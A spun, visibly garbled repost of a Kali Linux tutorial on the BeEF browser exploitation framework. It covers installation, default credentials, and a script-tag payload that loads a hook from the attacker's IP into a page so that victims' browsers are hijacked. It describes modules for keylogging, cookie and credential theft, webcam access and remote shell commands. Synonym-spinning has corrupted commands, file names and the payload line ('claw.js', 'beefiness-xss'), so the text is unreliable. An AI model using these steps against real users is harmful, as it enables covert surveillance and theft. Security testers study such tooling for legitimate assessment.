How to Use Beef Tools in Kali Linux

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

Amongst growing concerns almost web-borne attacks against clients, including mobile clients. BeEF allows the professional penetration tester to assess the bodily security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, Beef looks past the hardened network perimeter and client arrangement, and examines exportability inside the context of the one open door: the web browser. Beef will claw 1 or more web browsers and use them as beachheads for launching directed control modules and further attacks confronting the system from within the browser context.

Let come across how to Hack Web Browsers Using BeEF Framework

Installing BeEF

#apt-get update
#apt-get install beefiness-xss

Requirements

Kali Linux or other Linux OS
BeEF (The Browser Exploitation Framework)

Beefiness comes pre-installed in diverse pentesting operating systems such equally Kali Linux, Parrot Os, BlackArch, Backbox, Cyborg OS. In this tutorial, I will be using Kali there no difference weather you use Kali or Parrot the tutorial will still have the same steps. You can notice Beefiness in Kali Linux applications card.

"Applications" -> "Kali Linux" -> "System Services" -> "BeEF" -> "beefiness offset."

Or from a new terminal we can commencement Beef' using the post-obit commands.

# cd /usr/share/beef-xss
#./beef

• 

Accessing Beefiness Spider web GUI

To access BeEF server open up any web browser and access localhost (127.0.0.1). Beef runs a web server at port 3000. We tin can access BeEFS Web GUI from the post-obit URL.

http://localhost:3000/ui/authentication

The default credentials for beef are both "beef" username "beef" and password "beefiness".

In one case you lot accept logged into Beef Web GUI you can see a section on the left "Hooked Browsers" Online Browsers and Offline Browsers. This department shows victims hooked status.

Forwarding Ports

In this tutorial nosotros will be using Beef inside of our home network using localhost if yous intend for users outside the network to connect back to Beefiness you will demand to open ports within your routers configuration.

www.portforwarding.com

Hooking a Browser

The Beefiness hook is a JavaScript file it is used to hook and exploit targets web browsers and acts as a C&C between the target and the attacker. BeEF is an extremely powerful tool and can assemble a lot of data about the target. Once BeEF has hooked a target web browser information technology besides allows for additional commands and modules to be executed against the target.

The example beneath shows a BeEF Claw running on my machines local IP address.

To find you local IP accost you can use "ifconfig" from a new concluding.

ifconfig          BeEF hook http://192.168.43.49:3000/hook.js.        

To successfully assail a browser we will need to add BeEF hook to a Web page that the victim volition visit there are many methods of delivering a JavaScript Payload. The easiest style is to include the JavaScript hook in the Head of a web page. After the target visits the compromised spider web page thier browser volition be hooked. Yous will see the hooked browsers IP address and Operating System Platform hovering over target hooked browser volition provide information about the target system we can then click on the hooked browser and gain further data and preform farther attacks on the system.

Case of Beefiness JavaScript Payload :

<script src= "http://192.168.43.49:3000/claw.js;  type= "text/javascript" ></script>

Beef Framework also includes some default Spider web Page templates that you can use.

http://localhost:3000/demos/butcher/index.html

Once the target is presented with the Web Page at that place browser volition be hooked and appear in the Hook Browsers section of the BeEF Web GUI.

In the screen shot below nosotros can encounter Beef has hooked a target browser and its online from here we tin find out information such as The Browsers version plug ins that the browser is using and various data nearly the target system and its software.

The screen shot below shows Logs from the target system such as mouse movement double clicks and other activity logs created by the target system.

Screen shot below shows available modules that tin be used to exploit the target system such as Keyloggers and viewing Webcam's or Microphone's of the target browser play sounds steal cookies and credentials and much more than.

You might detect that some of the commands have unlike colored icons next to them. If you click back to the Getting Started tab, it will explain what each of the colors represents.

Each command module has a traffic light icon, which is used to betoken the post-obit:

•  The control module works against the target and should exist invisible to the user
•  The module works against the target, merely may be visible to the user
•  The control module is all the same to be verified confronting this target
•  The control module does not work against this target

Beef also also us to send interactive crush commands to the target system the following screen shot below shows Beef interactive trounce.

BeEF can besides be integrated with Metasploit for further organisation exploitation using modules such equally browser_auto_pwn.

Conclusion

JavaScript can be very powerful its always wise to take precautions when visiting various websites. Fifty-fifty if the website is known to be trusted it tin still be a threat to Watering Hole attacks.

Hope this article helpful for y'all.Thank you

---

If You Capeesh What Nosotros Do Here On Hackonology, You lot Should Consider:

Hackonology is the fastest growing and most trusted community site where you lot tin observe lots of courses, articles well-nigh Technology/Hacking/Groovy. Millions of people visit Hackonology! to search or scan the thousands of published articles available FREELY to all.

Let's exist a part of Hacker's Customs! Bring together our Hacking Squad

We Are Indian We Are Great

---

helgesonpaltaing.blogspot.com

Source: https://hackonology.com/courses/kali-linux/lesson/beef-framework-tutorial-in-kali-linux/

Share this post